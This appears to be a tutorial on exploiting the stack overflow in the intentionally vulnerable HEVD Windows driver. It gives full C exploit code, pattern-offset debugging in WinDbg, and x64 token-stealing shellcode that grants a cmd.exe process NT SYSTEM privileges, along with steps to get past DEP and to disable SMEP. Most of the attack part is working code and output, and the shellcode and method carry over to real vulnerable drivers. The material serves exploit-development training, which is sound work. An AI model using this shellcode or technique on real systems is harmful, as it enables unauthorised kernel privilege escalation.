This episode introduces the HEVD (HackSys Extreme Vulnerable Driver) by solving it't first vulnerability: a generic stack overflow. A stackoverflow vulnerability basically means user supplied input is copied into a variable and thereby onto the stack without checking the allowed size. This will overwrite everything else on the stack and eventually the instruction pointer allowing the exploiter (= us) to redirect code execution somewhere else. Since the driver, like everything else inside kernel space runs with full system privileges we can get a nice privilege escalation from user to NT-System.
I will cut quite a few corners during this episode to keep things simple. Once you ran your exploit, feel free to try and understand what is happening left and right of the given path.
If you like a challenge you can examine the HEVD in Ida or even Windbg, if you are new to windows kernel drivers and exploiting it is probably best to look at the c source code at github. It's not very complicated as far as drivers go, but it isn't exactly simple either.
The main file is HackSysExtremeVulnerableDriver.c. It contains a 'DriverEntry' function, the equivalent of main() for windows drivers. The important parts are sort of like this:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
// Create a device object
// Each driver manages one or several physical or logical devices
IoCreateDevice(...)
// Register DEVICE_CONTROL Irp handler
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
// Create Symbolink link
IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
}
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
// handle IRPs
if (IrpSp) {
switch (IoControlCode) {
case HACKSYS_EVD_IOCTL_STACK_OVERFLOW:
DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n");
Status = StackOverflowIoctlHandler(Irp, IrpSp);
DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n");
break;
//...
}
The driver create a logical device object that is needed to handle the I/O operations. The actual driver I/O is sent as IRPs - I/O request packets. Since the HEVD driver isn't actually doing anything it only handles OPEN, CLOSE and DEVICE_CONTROL IRPs. The DEVICE_CONTROL IRPs are a special kind of IRP, also called IOCTL - Device Input and Output Control - that can be used by user mode applications to communicate with a driver. The HEVD handles several different IO control codes (defined in the header file HackSysExtremeVulnerableDriver.h, each representing a different vulnerability.
So.. all we have to do is create a user mode application that creates one of those IOCTL thingies in a way that triggers the vulnerability.
The following is the source code for a basic usermode to driver communication tool adapted to talk to the HEVD via the StackOverflow IOCTL:
#include <windows.h>
#include <stdio.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char UserlandPath[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE getDeviceHandle(const char *path) {
HANDLE deviceHandle = CreateFileA (
path, // path to device file
GENERIC_READ | GENERIC_WRITE, // access rights
0, // swShareMode (0 = not shared)
NULL, // lpSecurityAttributes
OPEN_EXISTING, // fails if doesn't exist
FILE_ATTRIBUTE_NORMAL, // file has no attributes
NULL // hTemplateFile (attribute templates)
);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf("[getDeviceHandle]: Device handle to %s not valid\n", path);
} else
printf("[getDeviceHandle]: Device handle to %s aquired!\n", path);
return(deviceHandle);
}
int DriverIO(HANDLE DeviceHandle, unsigned long IOCTL, unsigned long BufferSize, char *inBuffer, char *outBuffer) {
BOOL status = FALSE;
unsigned long bytesRead = 0;
status = DeviceIoControl (
DeviceHandle, //
IOCTL, //
(LPVOID)inBuffer,
BufferSize,
(LPVOID)outBuffer,
BufferSize,
&bytesRead,
NULL //LPOVERLAPPED
);
if(status == FALSE) {
printf("[Test]: DeviceIoControl() failed\n");
return -1;
}
printf("[Test]: bytesRead=%d\n", bytesRead);
printf("[Test]: outBuffer=%s\n", outBuffer);
return(0);
}
int main()
{
printf("HEVD Stack Overflow\n\n");
HANDLE deviceHandle = getDeviceHandle(UserlandPath);
if (deviceHandle == INVALID_HANDLE_VALUE)
return -1;
const int bufferSize = 64;
char inBuffer[bufferSize], outBuffer[bufferSize];
sprintf(inBuffer, "This is the INPUT buffer");
sprintf(outBuffer, "This is the OUTPUT buffer");
int r = DriverIO(deviceHandle, (unsigned long)HACKSYS_EVD_IOCTL_STACK_OVERFLOW, bufferSize, inBuffer, outBuffer);
return r;
}
It looks like a lot of code, but that's mostly because I like to spread out the function parameters to make them easier to comment and edit. It's really just: get a handle on the HEVD device, prepare an input and output buffer and send them to the HEVD Driver with the STACK_OVERFLOW control code. Compile with Mingw 'gcc stackoverflow.c -o stackoverflow' and you are set.
If you run the code nothing really interesting happens, no crash and the output buffer will be empty. That is because we just sent a few bytes and at least the StackOverflow module will not send us anything back.
It should be clear what we have to do next (otherwise please read up on the topic of stack overflow before you continue). Delete the outBuffer parts if you want, and then prepare an inputBuffer to sent a lot of bytes to the driver. We can send whatever we want, but traditionaly the byte '0x41' is used. It is x86/AMD64 bytecode for the 'nop' (no-) operation that does absolutely nothing and has special use in certain exploit situations (not this one).
const int bufferSize = 4096;
char myBuffer[bufferSize];
memset(myBuffer, 0x41, 4096);
#include <windows.h>
#include <stdio.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char UserlandPath[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE getDeviceHandle(const char *path) {
HANDLE deviceHandle = CreateFileA
(
path, // path to device file
GENERIC_READ | GENERIC_WRITE, // access rights
0, // swShareMode (0 = not shared)
NULL, // lpSecurityAttributes
OPEN_EXISTING, // fails if doesn't exist
FILE_ATTRIBUTE_NORMAL, // file has no attributes
NULL // hTemplateFile (attribute templates)
);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf("[getDeviceHandle]: Device handle to %s not valid\n", path);
} else
printf("[getDeviceHandle]: Device handle to %s aquired!\n", path);
return(deviceHandle);
}
int DriverIO(HANDLE DeviceHandle, unsigned long IOCTL, char *inBuffer, size_t inBufferSize) {
BOOL status = FALSE;
status = DeviceIoControl (
DeviceHandle, //
IOCTL, //
(LPVOID)inBuffer,
inBufferSize,
NULL, // in buffer
0, // out buffer size
NULL, // *bytes read
NULL // LPOVERLAPPED
);
if(status == FALSE) {
printf("[DriverIO]: DeviceIoControl() failed\n");
return -1;
} else
printf("[DriverIO]: buffer written\n");
return(0);
}
int main()
{
printf("HEVD Stack Overflow\n\n");
HANDLE deviceHandle = getDeviceHandle(UserlandPath);
if (deviceHandle == INVALID_HANDLE_VALUE)
return -1;
const int bufferSize = 4096;
char myBuffer[bufferSize];
memset(myBuffer, 0x41, 4096);
int r = DriverIO(deviceHandle, (unsigned long)HACKSYS_EVD_IOCTL_STACK_OVERFLOW, myBuffer, sizeof(myBuffer));
return r;
}
Before you execute that code you should prepare your lab. The best preparation cycle is:
This way after your test or exploited ran and you restore your snapshot you have a very good chance that everything works as before. Having the HEV driver loaded or Windbg open while creating the Snapshot will decrease your chances of everything going smoothly. Avoid touching anything after creating the snapshot. Doing things like create snapshot -> do minor code change -> compile -> run -> crash -> revert to snapshot will get you in trouble eventually.
Once you are set execute your exploit. And if everything went as it should your debugee should crash.
If you have some prior experience with stack overflows everything should be familiar. If not, read my recap on
On assembly/processor level a function is called with a 'call
The next step is by the book StackOverflow Exploitation. We don't want to crash the system, we want to divert execution. To do that we have to find out exactly which part of our buffer ended up in the function return address. We do that by writing a pattern onto the stack and checking which part of the pattern 'ret' tried to return to.
You can do this by yourself or just grab a pattern creator off the internet. I used the Python Exploit Pattern Tool. If you have a kali installation at hand you can also use the pattern creator built into metasploit.
C:\HEVD\stackoverflow>python pattern.py 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A...
char myBuffer[4096] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A..."
Compile -> Prepare Lab -> Run
The debugee should crash once again, this time with a stack full of strange numbers
Access violation - code c0000005 (!!! second chance !!!)
HEVD!TriggerStackOverflow+0xc8:
fffff801`c12a5708 c3 ret
kd> k
# Child-SP RetAddr Call Site
00 ffffdc82`7a7e7718 37714336`71433571 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101]
01 ffffdc82`7a7e7720 72433971`43387143 0x37714336`71433571
02 ffffdc82`7a7e7728 43327243`31724330 0x72433971`43387143
03 ffffdc82`7a7e7730 35724334`72433372 0x43327243`31724330
04 ffffdc82`7a7e7738 72433772`43367243 0x35724334`72433372
05 ffffdc82`7a7e7740 43307343`39724338 0x72433772`43367243
06 ffffdc82`7a7e7748 33734332`73433173 0x43307343`39724338
07 ffffdc82`7a7e7750 73433573`43347343 0x33734332`73433173
...
What we need is the pattern value right on top of the stack
kd> dp @rsp L1
ffffdc82`7a7e7718 37714336`71433571
C:\HEVD\stackoverflow>python pattern.py "0x3771433671433571"
Pattern 0x3771433671433571 first occurrence at position 2056 in pattern.
Your stack may also look like this:
A fatal system error has occurred.
...
kd> k
# Child-SP RetAddr Call Site
00 ffffdc82`7a7e4f58 fffff801`bec06782 nt!DbgBreakPointWithStatus
01 ffffdc82`7a7e4f60 fffff801`bec06007 nt!KiBugCheckDebugBreak+0x12
02 ffffdc82`7a7e4fc0 fffff801`beb6b1e7 nt!KeBugCheck2+0x937
03 ffffdc82`7a7e56e0 fffff801`bec055a1 nt!KeBugCheckEx+0x107
04 ffffdc82`7a7e5720 fffff801`beb7188d nt!KiInterruptHandler+0x21
05 ffffdc82`7a7e5760 fffff801`bea21d60 nt!RtlpExecuteHandlerForException+0xd
06 ffffdc82`7a7e5790 fffff801`bea228e4 nt!RtlDispatchException+0x430
07 ffffdc82`7a7e5e80 fffff801`beb76ace nt!KiDispatchException+0x144
08 ffffdc82`7a7e6530 fffff801`beb74b34 nt!KiExceptionDispatch+0xce
09 ffffdc82`7a7e6710 fffff801`beb704a2 nt!KiGeneralProtectionFault+0xf4
0a ffffdc82`7a7e68a0 fffff801`beb701f2 nt!SwapContext+0x212
0b ffffdc82`7a7e68e0 fffff801`beb6eac5 nt!KxDispatchInterrupt+0x122
0c ffffdc82`7a7e6a20 fffff801`beb6c8c1 nt!KiDpcInterruptBypass+0x25
0d ffffdc82`7a7e6a30 fffff801`bec09b79 nt!KiInterruptDispatch+0xb1
0e ffffdc82`7a7e6bc0 fffff801`bf194e01 nt!KeThawExecution+0xcd
0f ffffdc82`7a7e6bf0 fffff801`bec02380 nt!KdExitDebugger+0x8d
10 ffffdc82`7a7e6c20 fffff801`bf1982f5 nt!KdpReport+0xd8
11 ffffdc82`7a7e6c60 fffff801`bea22ce0 nt!KdpTrap+0x14d
12 ffffdc82`7a7e6cb0 fffff801`beb850ab nt!KdTrap+0x2c
13 ffffdc82`7a7e6cf0 fffff801`beb76ace nt!KiDispatchException+0x16290b
14 ffffdc82`7a7e73a0 fffff801`beb74b34 nt!KiExceptionDispatch+0xce
15 ffffdc82`7a7e7580 fffff801`c12a5708 nt!KiGeneralProtectionFault+0xf4
16 ffffdc82`7a7e7718 37714336`71433571 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101]
17 ffffdc82`7a7e7720 72433971`43387143 0x37714336`71433571
In this case Windbg didn't give you a "second chance", but instead the system ran right into the acces violation and triggered a bunch of Bugcheck functions that are now cluttering the stack. But as you can see the pattern is still on the stack, right after the first exception handler 'nt!KiGeneralProtectionFault+0xf4'.
We need to do two things now. First we need to adjust our code to put a meaningful address at position 2056 and then we have to write the code that is supposed to be executed once we hijacked the execution flow.
The first part is easy. At least if you are deeply into c programming. Otherwise just believe me that this will work:
const int bufferSize = 2064;
char myBuffer[2064];
memset(myBuffer, 0x41, 2056);
*(unsigned long long *)(myBuffer + 2056) = (unsigned long long)shellcode;
Define the buffer, fill with '0x41' bytes and write the address of "shellcode" to position 2056. If you know what shellcode is go ahead and write some, otherwise
With what we did so far we can hijack the processor while it belives it is running a system driver. Whatever we make the processor execute will run with ring 0 aka full system privileges. But it will also run completely on it's own - no standard libraries, no libraries at all, nothing! So if you just compile some c++ code and let it be executed using the exploit it will fail miserably because it will expect certain dlls to be present that won't be there. What we need instead is sometimes called "position independent code" it can be either
It's called shellcode because it's main 'historic' use is starting a shell. It still is in many cases (remote execution etc.) but in our case it isn't.
We can start a cmd.exe from our user mode code. What we need the shellcode to do is to elevate the privileges of that cmd shell (you could also elevate the privileges of the shell you opened to run you exploit but starting a new one makes it easier to identify the correct cmd.exe to elevate).
So let's spawn a shell really quick and get its process identifier:
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[Duh!]: Error creating cmd.exe\n");
return -1;
}
DWORD cmd_pid = pi.dwProcessId;
If you are unsure what we are trying to accomplish here check the difference between a user and an elevated (admin) command prompt:
Our shellcode has to do what I described in the ../../WinReverseEng/processes of the Windows Reverse Engineering tutorials from a Windbg perspective.
To make things easier we will use a shortcut to the KTHREAD object ob the currently running thread, it is stored in gs:0x188.
kd> dps gs:188 l1
002b:00000000`00000188 fffff801`bee1b380 nt!KiInitialThread
kd> dt nt!_KTHREAD <KTHREAD Address>
...
+0x220 Process : <KPROCESS Address> _KPROCESS
Translated into assembly language:
mov rax, [gs:0x188] ; KTHREAD
mov rax, [rax + 0x220] ; EPROCESS
Next: find system process by looping through the active process list to find process id 4:
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2d8 ProcessLock : _EX_PUSH_LOCK
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF
system_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 4
jne system_search_loop
mov rcx, [rax +0x358] ; system token @rcx
In the next part we are looking for the PIL of our cmd.exe. Since we don't know that yet, we will use '0x41414141' as a placeholder
cmd_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 0x41414141 ; insert cmd.exe PID @0x41414141
jne cmd_search_loop
mov [rax+0x358], rcx ; system token @cmd.exe
bits 64
section .text
global _start
push rax
push rbx
push rcx
push rsi
push rdi
_start:
mov rax, [gs:0x188] ; KTHREAD
mov rax, [rax + 0x220] ; EPROCESS
system_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 4
jne system_search_loop
mov rcx, [rax +0x358] ; system token @rcx
cmd_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 0x41414141 ; insert cmd.exe PID @0x41414141
jne cmd_search_loop
mov [rax+0x358], rcx ; system token @cmd.exe
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
ret
There are several ways to get the raw bytecode we need as shellcode. Using nasm '-f bin' creates a flat binary file which is exaclty what we need.
nasm token1.asm -o token1.bin -f bin
If you open this in the HxD Hex Editor you can use it's nice helper to convert this into a c style array:
{::nomarkdown}
{:/nomarkdown}
If you have aversions against using a gui application for this you can use radar2 for instance to create something similar:
radare2 -b 64 -c pc ./token1.bin
HxD has another useful benefit. It makes it dead simple to find the offset between the shellcode beginning and the 0x4141.. placeholder where we need to put the corred cmd.exe PID. Switch the Offset Base to decimal first.
Back to our the exploit code:
//*(DWORD *)((char *)shellcode + <offset>) = cmd_pid;
*(DWORD *)((char *)shellcode + 69) = cmd_pid;
If you execute our exploit windows should run into a KERNEL_SECURITY_CHECK_FAILURE (139). Meaning our exploit has some problems (three actually). The reason for the System Crash is a security feature called Data Execution Prevention (DEP). Our shellcode is sitting in a memory page flagged as 'data' and isn't allowed to be executed as code. It's pretty simple to circumvent, we only need to tell windows that we want that memory page to be executable:
VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
After fixing DEP VmWare workstation machines will crash with 'ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY'. This is because of another security feature calles 'Supervisor mode execution prevention (SMEP)'. The kernel is not allowed to execute code in user space. Since our shellcode is sitting in user space and we can't access kernel memory until after we gained control we are screwed. There are ways around this but for now I recommend cheating and disabling SMEP from the Debugger:
# SMEP is controled by bit 20 inside the cr4 register:
# Check if cr4 bit 20 is actually set:
r cr4
.formats cr4
? (@cr4 and (1 << 0n20))
# MASM doesn't have a bitwise not, so we'll use c to clear bit 20:
r cr4 = @@(@cr4 & ~(1<<20))
The next crash is because of an error in my assembly code. It is supposed to be a barrier to just blindly copy pasting my code.
In the debugger use 'bp HEVD!TriggerStackOverflow' to create a breakpoint before the vulnerable code. If you ran the exploit and reached the breakpoint you can use 'pt' to go to the next return instuction. The return instruction where the exploiting is supposed to happen. With 'u poi(rsp)' you should see the shellcode. If not something is fundamentally wrong. If you see the shellcode go through is instruction by instruction (it's not that much after all) until you find the problem.
If you did everything according to plan (or copied my code) the system should crash at the final 'return' instruction of our shellcode. And if you think about it for a moment: why should it not? We can't return from 'TriggerStackOverflow' because we overwrote the return address with the address of our shellcode. It is gone. Our best hope to return into the normal flow of execution is to return from the next function on the call stack. In this case 'IrpDeviceIoCtlHandler'
Lucky for us the IrpDeviceIoCtlHandler does nothing of importance after calling the TriggerStackOverflow function. All we have to do is adjust the stack pointer so it point to the correct return address. If you dissassemble the 'IrpDeviceIoCtlHandler' (best done in Ida/free) or follow the correct flow of execution in Windbg you can find out that only the stack pointer is only used in two instructions after calling 'TriggerStackOverflow':
add rsp, 20h
pop rdi
That means if we simply add 28h to the stack pointer at the end of our shellcode we should return to whatever called the IrpDeviceIoCtlHandler.
...
pop rax
add rsp, 0x28
ret
If the exploit was succesful you get a new cmd shell that will run with NT System privileges.
bits 64
section .text
global _start
push rax
push rbx
push rcx
push rsi
push rdi
_start:
mov rcx, 0xC0000101
rdmsr
mov ebx, eax
mov eax, edx
shl rax, 32
or rax, rbx
mov rax, [rax + 0x188] ; KPCR+KPCRB+KTHREAD
mov rax, [rax + 0x220] ; EPROCESS
system_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 4
jne system_search_loop
mov rcx, [rax +0x358] ; system token @rcx
cmd_search_loop:
mov rax, [rax + 0x2e8] ; ActiveProcessLinks-> Flink
sub rax, 0x2e8
cmp [rax + 0x2e0], dword 0x41414141 ; insert cmd.exe PID @0x41414141
jne cmd_search_loop
mov [rax+0x358], rcx ; system token @cmd.exe
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
add rsp, 0x28
ret
#include <windows.h>
#include <stdio.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char UserlandPath[] = "\\\\.\\HackSysExtremeVulnerableDriver";
/* C:\_c\Code\HEVD_dev\stackoverflow\token1.bin (12/9/2018 3:42:16 AM)
StartOffset(d): 00000000, EndOffset(d): 00000091, Length(d): 00000092 */
unsigned char shellcode[92] = {
0x50, 0x53, 0x51, 0x56, 0x57, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x80,
0xE8, 0x02, 0x00, 0x00, 0x48, 0x2D, 0xE8, 0x02, 0x00, 0x00, 0x83, 0xB8,
0xE0, 0x02, 0x00, 0x00, 0x04, 0x75, 0xEA, 0x48, 0x8B, 0x88, 0x58, 0x03,
0x00, 0x00, 0x48, 0x8B, 0x80, 0xE8, 0x02, 0x00, 0x00, 0x48, 0x2D, 0xE8,
0x02, 0x00, 0x00, 0x81, 0xB8, 0xE0, 0x02, 0x00, 0x00, 0x41, 0x41, 0x41,
0x41, 0x75, 0xE7, 0x48, 0x89, 0x88, 0x58, 0x03, 0x00, 0x00, 0x5F, 0x5E,
0x59, 0x5B, 0x58, 0x48, 0x83, 0xC4, 0x28, 0xC3
};
//0x41 starts at offset 69
HANDLE getDeviceHandle(const char *path) {
HANDLE deviceHandle = CreateFileA
(
path, // path to device file
GENERIC_READ | GENERIC_WRITE, // access rights
0, // swShareMode (0 = not shared)
NULL, // lpSecurityAttributes
OPEN_EXISTING, // fails if it doesn't exist
FILE_ATTRIBUTE_NORMAL, // file has no attributes
NULL // hTemplateFile (attribute templates)
);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf("[getDeviceHandle]: Device handle to %s not valid\n", path);
} else
printf("[getDeviceHandle]: Device handle to %s aquired!\n", path);
return(deviceHandle);
}
int DriverIO(HANDLE DeviceHandle, unsigned long IOCTL, char *inBuffer, size_t inBufferSize) {
BOOL status = FALSE;
status = DeviceIoControl (
DeviceHandle, //
IOCTL, //
(LPVOID)inBuffer,
inBufferSize,
NULL, // in buffer
0, // out buffer size
NULL, // *bytes read
NULL // LPOVERLAPPED
);
if(status == FALSE) {
printf("[DriverIO]: DeviceIoControl() failed\n");
return -1;
} else
printf("[DriverIO]: buffer written\n");
return(0);
}
DWORD spawnCMD() {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
printf("[!] FATAL: Error spawning cmd.exe\n");
return -1;
}
return pi.dwProcessId;
}
int main()
{
DWORD oldProtect;
printf("HEVD Stack Overflow\n\n");
HANDLE deviceHandle = getDeviceHandle(UserlandPath);
if (deviceHandle == INVALID_HANDLE_VALUE)
return -1;
DWORD cmd_pid = spawnCMD();
if (cmd_pid == -1)
return -1;
printf("CMD pid 0x%16x\n", cmd_pid);
*(DWORD *)((char *)shellcode + 69) = cmd_pid;
const int bufferSize = 2064;
char myBuffer[2064];
memset(myBuffer, 0x41, 2056);
*(unsigned long long *)(myBuffer + 2056) = (unsigned long long)shellcode;
VirtualProtect(shellcode, 256, PAGE_EXECUTE_READWRITE, &oldProtect);
int r = DriverIO(deviceHandle, (unsigned long)HACKSYS_EVD_IOCTL_STACK_OVERFLOW, myBuffer, sizeof(myBuffer));
return r;
}